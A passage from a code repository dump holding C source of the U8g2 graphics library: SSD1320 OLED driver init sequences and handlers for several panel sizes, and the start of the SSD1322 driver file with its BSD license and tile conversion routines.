      /* Set COM Output Scan Direction: normal mode CS2 */\n    \n    U8X8_CA(0xd3, 0x72),        /* CS1 */\n    // U8X8_CA(0xd3, 0x92),        /* CS2 */\n    \n    U8X8_CA(0xda, 0x12),\t    /* Set SEG Pins Hardware Configuration:  */  \n    U8X8_CA(0x81, 0x5a),\t\t\t/* contrast */  \n    U8X8_CA(0xd9, 0x22),\t\t\t/* Set Phase Length */  \n    U8X8_CA(0xdb, 0x30),\t\t  /* VCOMH Deselect Level */\n    U8X8_CA(0xad, 0x10),\t\t\t/* Internal IREF Enable */  \n    U8X8_CA(0x20, 0x00),\t    /* Memory Addressing Mode: Horizontal */  \n    U8X8_CA(0x8d, 0x01),\t\t\t/* disable internal charge pump 1 */  \n    U8X8_CA(0xac, 0x00),\t\t\t/* disable internal charge pump 2 */  \n    U8X8_C(0xa4),\t\t        \t/* display on */  \n    U8X8_C(0xa6),\t\t          /* normal display */\n\n    U8X8_DLY(1),\t\t\t\t\t/* delay 2ms */\n\n    U8X8_END_TRANSFER(),             \t/* disable chip */\n    U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_ssd1320_160x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n        u8x8_d_helper_display_setup_memory(u8x8, &u8x8_d_ssd1320_cs1_160x32_display_info);\n      break;\n\n    case U8X8_MSG_DISPLAY_INIT:\n        u8x8_d_helper_display_init(u8x8);\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x32_init_seq);\n      break;\n\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 ){\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x32_nhd_flip0_seq);\n        u8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else{\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x32_nhd_flip1_seq);\n        u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    \n    default:\n      return u8x8_d_ssd1320_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n/*=========================================================*/\n/* 160x132 (actually 320x132) */\n\nstatic const uint8_t u8x8_d_ssd1320_cs1_160x132_nhd_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t/* remap */\n  U8X8_C(0xc8),\t             /* Set COM Output Scan Direction: normal mode CS1 */\n  U8X8_CA(0xd3, 0x0e),        /* CS1 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1320_cs1_160x132_nhd_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t/* remap */\n  U8X8_C(0xc0),\t             /* Set COM Output Scan Direction: normal mode CS1 */\n  U8X8_CA(0xd3, 0x92),        /* CS1 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_d_ssd1320_cs1_160x132_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* ssd1320: 2 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* ssd1320: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* ssd1320: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 10000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215), 10 MHz (issue 301) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 10,\n  /* write_pulse_width_ns = */ 150,\t/* ssd1320: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 20,\t\t/* 160 pixel, so we require 20 bytes for this */\n  /* tile_height = */ 17,\n  /* default_x_offset = */ 0,\t/* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 132\n};\n\n\n/* the following sequence will work, but requires contrast to be very high */\n/* added #ifdef to avoid compiler warning, issue 1802 */\n#ifdef NOT_USED\nstatic const uint8_t u8x8_d_ssd1320_cs1_160x132_init_seq[] = {\n    \n    U8X8_DLY(1),\n    U8X8_START_TRANSFER(),    /* enable chip, delay is part of the transfer start */\n    U8X8_DLY(1),\n    \n    U8X8_C(0xae),\t\t          /* display off */\n    U8X8_CA(0xd5, 0xC2),\t\t\t/* set display clock divide ratio/oscillator frequency (set clock as 80 frames/sec)  */  \n    U8X8_CA(0xa8, 0x83),\t\t\t/* multiplex ratio 1/132 Duty  */  \n    U8X8_CA(0xa2, 0x00),\t\t\t/* display start line */  \n\n    U8X8_C(0xa0),\t                /* Set Segment Re-Map: column address 0 mapped to SEG0  CS1 */ \n    // U8X8_C(0xa1),\t                /* Set Segment Re-Map: column address 0 mapped to SEG0  CS2 */ \n\n    U8X8_C(0xc8),\t             /* Set COM Output Scan Direction: normal mode CS1 */\n    // U8X8_C(0xc0),\t\t\t        /* Set COM Output Scan Direction: normal mode CS2 */\n  \n    U8X8_CA(0xd3, 0x0e),        /* CS1 */\n    // U8X8_CA(0xd3, 0x92),        /* CS2 */\n    \n    U8X8_CA(0xda, 0x12),\t    /* Set SEG Pins Hardware Configuration:  */  \n    U8X8_CA(0x81, 0x5a),\t\t\t/* contrast */  \n    U8X8_CA(0xd9, 0x22),\t\t\t/* Set Phase Length */  \n    U8X8_CA(0xdb, 0x30),\t\t  /* VCOMH Deselect Level */\n    U8X8_CA(0xad, 0x10),\t\t\t/* Internal IREF Enable */  \n    U8X8_CA(0x20, 0x00),\t    /* Memory Addressing Mode: Horizontal */  \n    U8X8_CA(0x8d, 0x01),\t\t\t/* disable internal charge pump 1 */  \n    U8X8_CA(0xac, 0x00),\t\t\t/* disable internal charge pump 2 */  \n    U8X8_C(0xa4),\t\t        \t/* display on */  \n    U8X8_C(0xa6),\t\t          /* normal display */\n\n    U8X8_DLY(1),\t\t\t\t\t/* delay 2ms */\n\n    U8X8_END_TRANSFER(),             \t/* disable chip */\n    U8X8_END()             \t\t\t/* end of sequence */\n};\n#endif\n\n/*\nOLED_WR_Byte(0xae,OLED_CMD);//Display OFF\nOLED_WR_Byte(0xfd,OLED_CMD);//Set Command Lock\nOLED_WR_Byte(0x12,OLED_CMD);\nOLED_WR_Byte(0x20,OLED_CMD);//Set Memory Addressing Mode\nOLED_WR_Byte(0x00,OLED_CMD);\nOLED_WR_Byte(0x25,OLED_CMD);//Set Portrait Addressing Mode\nOLED_WR_Byte(0x00,OLED_CMD);//Normal Addressing Mode\nOLED_WR_Byte(0x81,OLED_CMD);//Set Contrast Control\nOLED_WR_Byte(0x6b,OLED_CMD);\nOLED_WR_Byte1(0xa0,OLED_CMD,1);//Set Seg Remap LEFT DISPLAY\nOLED_WR_Byte1(0xa1,OLED_CMD,2);//Set Seg Remap RIGHT DISPLAY\nOLED_WR_Byte(0xa2,OLED_CMD);//Set Display Start Line\nOLED_WR_Byte(0x00,OLED_CMD);\nOLED_WR_Byte(0xa4,OLED_CMD);//Resume to RAM content display\nOLED_WR_Byte(0xa6,OLED_CMD);//Set Normal Display\n\nOLED_WR_Byte(0xa8,OLED_CMD);//Set MUX Ratio\nOLED_WR_Byte(0x83,OLED_CMD);//1/132 duty\n\nOLED_WR_Byte(0xad,OLED_CMD);//Select external or internal IREF\nOLED_WR_Byte(0x10,OLED_CMD);\nOLED_WR_Byte(0xbc,OLED_CMD);//Set Pre-charge voltage\nOLED_WR_Byte(0x1e,OLED_CMD);//\nOLED_WR_Byte(0xbf,OLED_CMD);//Linear LUT\nOLED_WR_Byte1(0xc8,OLED_CMD,1);//Set COM Output Scan Direction LEFT DISPLAY\nOLED_WR_Byte1(0xc0,OLED_CMD,2);//Set COM Output Scan Direction RIGHT DISPLAY\nOLED_WR_Byte(0xd3,OLED_CMD);//Set Display Offset\nOLED_WR_Byte1(0x0e,OLED_CMD,1); //LEFT DISPLAY\nOLED_WR_Byte1(0x92,OLED_CMD,2); // RIGHT DISPLAY\nOLED_WR_Byte(0xd5,OLED_CMD);//Set Display Clock Divide Ratio/Oscillator Frequency\nOLED_WR_Byte(0xc2,OLED_CMD);//85Hz\nOLED_WR_Byte(0xd9,OLED_CMD);//Set Pre-charge Period\nOLED_WR_Byte(0x72,OLED_CMD);//\nOLED_WR_Byte(0xda,OLED_CMD);//Set SEG Pins Hardware Configuration\nOLED_WR_Byte(0x32,OLED_CMD);\nOLED_WR_Byte(0xbd,OLED_CMD);//Set VP\nOLED_WR_Byte(0x03,OLED_CMD);\nOLED_WR_Byte(0xdb,OLED_CMD);//Set VCOMH\nOLED_WR_Byte(0x30,OLED_CMD);\nOLED_WR_Byte(0xaf,OLED_CMD);//Display on\n*/\nstatic const uint8_t u8x8_d_ssd1320_160x132_init_seq[] = {\n    U8X8_DLY(1),\n    U8X8_START_TRANSFER(),    /* enable chip, delay is part of the transfer start */\n    U8X8_DLY(1),\n    \n    U8X8_C(0xae),\t\t          /* display off */\n    U8X8_CA(0xd5, 0xC2),\t/* set display clock divide ratio/oscillator frequency (set clock as 80 frames/sec)  */  \n    U8X8_CA(0xa8, 0x83),\t/* multiplex ratio 1/132 Duty  */  \n    U8X8_CA(0xa2, 0x00),\t/* display start line */  \n\n    U8X8_C(0xa0),\t                /* Set Segment Re-Map: column address 0 mapped to SEG0  CS1 */ \n    // U8X8_C(0xa1),\t      \t/* Set Segment Re-Map: column address 0 mapped to SEG0  CS2 */ \n\n    U8X8_C(0xc8),\t             \t/* Set COM Output Scan Direction: normal mode CS1 */\n    // U8X8_C(0xc0),\t\t/* Set COM Output Scan Direction: normal mode CS2 */\n\n    U8X8_CA(0xad, 0x10), \t\t/* select Iref: 0x00 external (reset default), 0x10 internal */\n    U8X8_CA(0xbc, 0x1e), \t\t/* pre-charge voltage level 0x00..0x1f, reset default: 0x1e */\n    U8X8_C(0xbf),\t\t        \t/* select linear LUT */  \n    U8X8_CA(0xd5, 0xc2), \t\t/* Bit 0..3: clock ratio 1, 2, 4, 8, ...256, reset=0x1, Bit 4..7: F_osc 0..15 */\n    U8X8_CA(0xd9, 0x72),\t\t/* Set Phase 1&2 Length, Bit 0..3: Phase 1, Bit 4..7: Phase 2, reset default 0x72 */  \n    U8X8_CA(0xbd, 0x03), \t\t/* from the vendor init sequence */\n    U8X8_CA(0xdb, 0x30),\t\t  /* VCOMH Deselect Level */\n\n  \n    U8X8_CA(0xd3, 0x0e),        /* CS1 */\n    // U8X8_CA(0xd3, 0x92),        /* CS2 */\n    \n    U8X8_CA(0xda, 0x12),\t/* Set SEG Pins Hardware Configuration:  */  \n    U8X8_CA(0x81, 0x6b),\t\t\t/* contrast */  \n    //U8X8_CA(0xd9, 0x22),\t\t\t/* Set Phase Length */  \n    //U8X8_CA(0xdb, 0x30),\t\t  /* VCOMH Deselect Level */\n    //U8X8_CA(0xad, 0x10),\t\t\t/* Internal IREF Enable */  \n    U8X8_CA(0x20, 0x00),\t    /* Memory Addressing Mode: Horizontal */  \n    //U8X8_CA(0x8d, 0x01),\t\t\t/* unknown in SSD1320 datasheet, disable internal charge pump 1 */  \n    //U8X8_CA(0xac, 0x00),\t\t\t/* unknown in SSD1320 datasheet, disable internal charge pump 2 */  \n    U8X8_C(0xa4),\t\t        \t/* display RAM on */  \n    U8X8_C(0xa6),\t\t          /* normal display */\n\n    U8X8_DLY(1),\t\t\t\t\t/* delay 2ms */\n\n    U8X8_END_TRANSFER(),             \t/* disable chip */\n    U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_ssd1320_160x132(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n        u8x8_d_helper_display_setup_memory(u8x8, &u8x8_d_ssd1320_cs1_160x132_display_info);\n    \n      break;\n\n    case U8X8_MSG_DISPLAY_INIT:\n        u8x8_d_helper_display_init(u8x8);\n       // u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x132_init_seq);\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_160x132_init_seq);\n      break;\n\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 ){\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x132_nhd_flip0_seq);\n        u8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else{\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x132_nhd_flip1_seq);\n        u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    \n    default:\n      return u8x8_d_ssd1320_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n\n\n\n/*=========================================================*/\n/* https://github.com/olikraus/u8g2/issues/1816 */\n/* 160x80, https://de.aliexpress.com/item/1005003510267760.html */\n\nstatic const uint8_t u8x8_d_ssd1320_160x80_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t/* remap */\n  U8X8_C(0xc8),\t             /* Set COM Output Scan Direction: normal mode CS1 */\n  U8X8_CA(0xd3, 39),        /* display offset */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1320_160x80_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t/* remap */\n  U8X8_C(0xc0),\t             /* Set COM Output Scan Direction: normal mode CS1 */\n  U8X8_CA(0xd3, 120),        /* display offset */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_d_ssd1320_160x80_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* ssd1320: 2 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* ssd1320: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* ssd1320: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 10000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215), 10 MHz (issue 301) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 10,\n  /* write_pulse_width_ns = */ 150,\t/* ssd1320: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 20,\t\t/* 160 pixel, so we require 20 bytes for this */\n  /* tile_height = */ 10,\n  /* default_x_offset = */ 0,\t/* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 80\n};\n\n\n\nstatic const uint8_t u8x8_d_ssd1320_160x80_init_seq[] = {\n    U8X8_DLY(1),\n    U8X8_START_TRANSFER(),    /* enable chip, delay is part of the transfer start */\n    U8X8_DLY(1),\n    \n    U8X8_C(0xae),\t\t          /* display off */\n    U8X8_CA(0xa8, 80),\t/* multiplex ratio 1/80 Duty  */  \n    U8X8_CA(0xa2, 0),\t/* display start line */  \n\n    U8X8_C(0xa0),\t                /* Set Segment Re-Map */\n    U8X8_C(0xc8),\t             \t/* Set COM Output Scan Direction: normal mode */\n\n    U8X8_CA(0xad, 0x10), \t\t/* select Iref: 0x00 external (reset default), 0x10 internal */\n    U8X8_CA(0xbc, 0x1e), \t\t/* pre-charge voltage level 0x00..0x1f, reset default: 0x1e */\n    U8X8_C(0xbf),\t\t        \t/* select linear LUT */  \n    U8X8_CA(0xd5, 0xc2), \t\t/* Bit 0..3: clock ratio 1, 2, 4, 8, ...256, reset=0x1, Bit 4..7: F_osc 0..15 */\n    U8X8_CA(0xd9, 0x72),\t\t/* Set Phase 1&2 Length, Bit 0..3: Phase 1, Bit 4..7: Phase 2, reset default 0x72 */  \n\n    U8X8_CA(0xd3, 39),        /* display offset */\n    \n    U8X8_CA(0xda, 0x12),\t/* Set SEG Pins Hardware Configuration:  */  \n    U8X8_CA(0x81, 0x70),\t\t\t/* contrast */  \n    U8X8_CA(0x20, 0x00),\t    /* Memory Addressing Mode: Horizontal */  \n    \n    U8X8_C(0xa4),\t\t        \t/* display RAM on */  \n    U8X8_C(0xa6),\t\t          /* normal display */\n\n    U8X8_DLY(1),\t\t\t\t\t/* delay 2ms */\n\n    U8X8_END_TRANSFER(),             \t/* disable chip */\n    U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_ssd1320_160x80(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  \n  if ( u8x8_d_ssd1320_common_2(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n        u8x8_d_helper_display_setup_memory(u8x8, &u8x8_d_ssd1320_160x80_display_info);\n      break;\n\n    case U8X8_MSG_DISPLAY_INIT:\n        u8x8_d_helper_display_init(u8x8);\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_160x80_init_seq);\n      break;\n\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 ){\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_160x80_flip0_seq);\n        u8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else{\n        u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_160x80_flip1_seq);\n        u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    \n    default:\n      break;\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1322.c",
    "content": "/*\n\n  u8x8_d_ssd1322.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  SSD1322: \n    480 x 128 dot matrix\n    16 gray scale\n  \n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_ssd1322_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* ssd1322: display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1322_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* ssd1322: display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\n/* interpret b as a monochrome bit pattern, write value 15 for high bit and value 0 for a low bit */\n/* topbit (msb) is sent last */\n/* example: b = 0x083 will send 0xff, 0x00, 0x00, 0xf0 */\n\n/* 4 Jan 2017: I think this procedure not required any more. Delete? */\n/*\nstatic uint8_t u8x8_write_byte_to_16gr_device(u8x8_t *u8x8, uint8_t b)\n{\n  static uint8_t buf[4];\n  static uint8_t map[4] = { 0, 0x00f, 0x0f0, 0x0ff };\n  buf [3] = map[b & 3];\n  b>>=2;\n  buf [2] = map[b & 3];\n  b>>=2;\n  buf [1] = map[b & 3];\n  b>>=2;\n  buf [0] = map[b & 3];\n  return u8x8_cad_SendData(u8x8, 4, buf);\n}\n*/\n\n\n/*\n  input:\n    one tile (8 Bytes)\n  output:\n    Tile for SSD1325 (32 Bytes)\n*/\n\nstatic uint8_t u8x8_ssd1322_to32_dest_buf[32];\n\nstatic uint8_t *u8x8_ssd1322_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr)\n{\n  uint8_t v;\n  uint8_t a,b;\n  uint8_t i, j;\n  uint8_t *dest;\n  \n  for( j = 0; j < 4; j++ )\n  {\n    dest = u8x8_ssd1322_to32_dest_buf;\n    dest += j;\n    a =*ptr;\n    ptr++;\n    b = *ptr;\n    ptr++;\n    for( i = 0; i < 8; i++ )\n    {\n      v = 0;\n      if ( a&1 ) v |= 0xf0;\n      if ( b&1 ) v |= 0x0f;\n      *dest = v;\n      dest+=4;\n      a >>= 1;\n      b >>= 1;\n    }\n  }\n  \n  return u8x8_ssd1322_to32_dest_buf;\n}\n\nstatic uint8_t *u8x8_ssd1322_4to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr)\n{\n  uint8_t v;\n  uint8_t a;\n  uint8_t i, j;\n  uint8_t *dest;\n  \n  for( j = 0; j < 4; j++ )\n  {\n    dest = u8x8_ssd1322_to32_dest_buf;\n    dest += j;\n    a =*ptr;\n    ptr++;\n    for( i = 0; i < 8; i++ )\n    {\n      v = 0;\n      if ( a&1 ) v = 0xff;\n      *dest = v;\n      dest+=4;\n      a >>= 1;\n    }\n  }\n  \n  return u8x8_ssd1322_to32_dest_buf;\n}\n\n\nuint8_t u8x8_d_ssd1322_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x; \n  uint8_t y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */\n    /*\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_256x64_init_seq);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_powersave1_seq);\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x0C1 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1322 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 2;\t\t// only every 4th col can be addressed\n      x += u8x8->x_offset;\t\t\n    \n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      y *= 8;\n    \n      \n      u8x8_cad_SendCmd(u8x8, 0x075 );\t/* set row address, moved out of the loop (issue 302) */\n      u8x8_cad_SendArg(u8x8, y);\n      u8x8_cad_SendArg(u8x8, y+7);\n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\n\tdo\n\t{\n\t  u8x8_cad_SendCmd(u8x8, 0x015 );\t/* set column address */\n\t  u8x8_cad_SendArg(u8x8, x );\t/* start */\n\t  u8x8_cad_SendArg(u8x8, x+1 );\t/* end */\n\n\t  u8x8_cad_SendCmd(u8x8, 0x05c );\t/* write to ram */\n\t  \n\t  u8x8_cad_SendData(u8x8, 32, u8x8_ssd1322_8to32(u8x8, ptr));\n\t  \n\t  ptr += 8;\n\t  x += 2;\n\t  c--;\n\t} while( c > 0 );\n\t\n\t//x += 2;\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=========================================================*/\n\nstatic const uint8_t u8x8_d_ssd1322_256x64_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CAA(0x0a0, 0x006, 0x011),\t\t/* remap */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1322_256x64_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CAA(0x0a0, 0x014, 0x011),\t\t/* remap */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_ssd1322_256x64_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1322: 2 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1322: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1322: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 10000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215), 10 MHz (issue 301) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 10,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1322: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 32,\t\t/* 256 pixel, so we require 32 bytes for this */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0x01c,\t/* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */\n  /* flipmode_x_offset = */ 0x01c,\n  /* pixel_width = */ 256,\n  /* pixel_height = */ 64\n};\n\n\nstatic const uint8_t u8x8_d_ssd1322_256x64_init_seq[] = {\n    \n  U8X8_DLY(1),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(1),\n  \n  U8X8_CA(0xfd, 0x12),            \t/* unlock */\n  U8X8_C(0xae),\t\t                /* display off */\n  U8X8_CA(0xb3, 0x91),\t\t\t/* set display clock divide ratio/oscillator frequency (set clock as 80 frames/sec)  */  \n  U8X8_CA(0xca, 0x3f),\t\t\t/* multiplex ratio 1/64 Duty (0x0F~0x3F) */  \n  U8X8_CA(0xa2, 0x00),\t\t\t/* display offset, shift mapping ram counter */  \n  U8X8_CA(0xa1, 0x00),\t\t\t/* display start line */  \n  //U8X8_CAA(0xa0, 0x14, 0x11),\t/* Set Re-Map / Dual COM Line Mode */  \n  U8X8_CAA(0xa0, 0x06, 0x011),\t/* Set Re-Map / Dual COM Line Mode */  \n  U8X8_CA(0xab, 0x01),\t\t\t/* Enable Internal VDD Regulator */  \n  U8X8_CAA(0xb4, 0xa0, 0x005|0x0fd),\t/* Display Enhancement A */  \n  U8X8_CA(0xc1, 0x9f),\t\t\t/* contrast */  \n  U8X8_CA(0xc7, 0x0f),\t\t\t/* Set Scale Factor of Segment Output Current Control */  \n  U8X8_C(0xb9),\t\t                